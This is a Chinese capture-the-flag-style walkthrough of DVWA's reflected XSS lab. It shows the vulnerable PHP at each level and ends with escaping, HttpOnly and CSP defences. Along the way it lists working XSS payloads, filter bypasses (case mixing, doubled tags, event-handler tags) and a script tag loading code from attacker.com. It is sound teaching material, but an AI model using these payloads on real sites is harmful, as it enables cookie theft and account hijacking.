DVWA XSS Reflected 反射型XSS通关教程
漏洞简介
XSS(跨站脚本攻击),老牌漏洞了。简单说就是把恶意 JavaScript 注入到网页里,别人打开这个页面脚本就执行了。反射型 XSS 是最常见的,恶意代码通过 URL 参数传进去,服务器原样返回,浏览器就执行了。
这关主要学怎么利用反射型 XSS 偷 Cookie 和搞事情。
XSS 类型
| 类型 | 说明 |
|---|---|
| 反射型 | URL 传参,服务器反射回来 |
| 存储型 | 存服务器里,谁访问谁中招 |
| DOM 型 | 纯前端操作,不经过服务器 |
Low 级别
看代码:
1 | if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { |
用户输入直接输出,啥过滤都没有。
攻击方法
测试 XSS:
1 | <script>alert('XSS')</script> |
弹窗了,确认有 XSS。
偷 Cookie:
1 | <script>alert(document.cookie)</script> |
外部加载脚本:
1 | <script src="http://attacker.com/xss.js"></script> |
img 标签也行:
1 | <img src=x onerror="alert(document.cookie)"> |
![图片占位]
svg 标签:
1 | <svg onload="alert(document.cookie)"> |
Medium 级别
Medium 过滤了 <script> 标签:
1 | $name = str_replace( '<script>', '', $_GET[ 'name' ] ); |
用 str_replace 这种方式,绕过方法太多了。
攻击方法
大小写混淆:
1 | <Script>alert('XSS')</Script> |
双写绕过:
1 | <scr<script>ipt>alert('XSS')</scr</script>ipt> |
中间的 <script> 被删了,剩下又拼成完整的标签了。
或者干脆不用 <script>:
1 | <img src=x onerror="alert(document.cookie)"> |
1 | <body onload="alert('XSS')"> |
1 | <input onfocus="alert('XSS')" autofocus> |
High 级别
High 级别用正则过滤:
1 | $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); |
不管你怎么写 <script>,大小写怎么混,中间怎么插字符,都能匹配到并删掉。
但 XSS 又不是只有 <script> 这一种。
攻击方法
img 标签:
1 | <img src=x onerror="alert(document.cookie)"> |
svg 标签:
1 | <svg onload="alert(document.cookie)"> |
body 标签:
1 | <body onload="alert('XSS')"> |
input 标签:
1 | <input onfocus="alert('XSS')" autofocus> |
details 标签:
1 | <details open ontoggle="alert('XSS')"> |
能触发 JS 的标签多了去了,过滤不过来的。
Impossible 级别
Impossible 级别用 htmlspecialchars() 转义:
1 | $name = htmlspecialchars( $_GET[ 'name' ] ); |
把 <、>、"、'、& 这些特殊字符转成 HTML 实体,注入的代码就变成普通文本了。这才是正确的做法。
常用 XSS Payload
| Payload | 说明 |
|---|---|
<script>alert(1)</script> |
基础测试 |
<img src=x onerror=alert(1)> |
图片加载失败触发 |
<svg onload=alert(1)> |
SVG 加载触发 |
<body onload=alert(1)> |
页面加载触发 |
<input onfocus=alert(1) autofocus> |
自动聚焦触发 |
<details open ontoggle=alert(1)> |
展开触发 |
<a href="javascript:alert(1)">click</a> |
点击触发 |
小结
XSS 防护要点:
- 输出的时候用
htmlspecialchars()转义 - Cookie 设置 HttpOnly
- 配好 CSP
- 别想着黑名单过滤,转义才是王道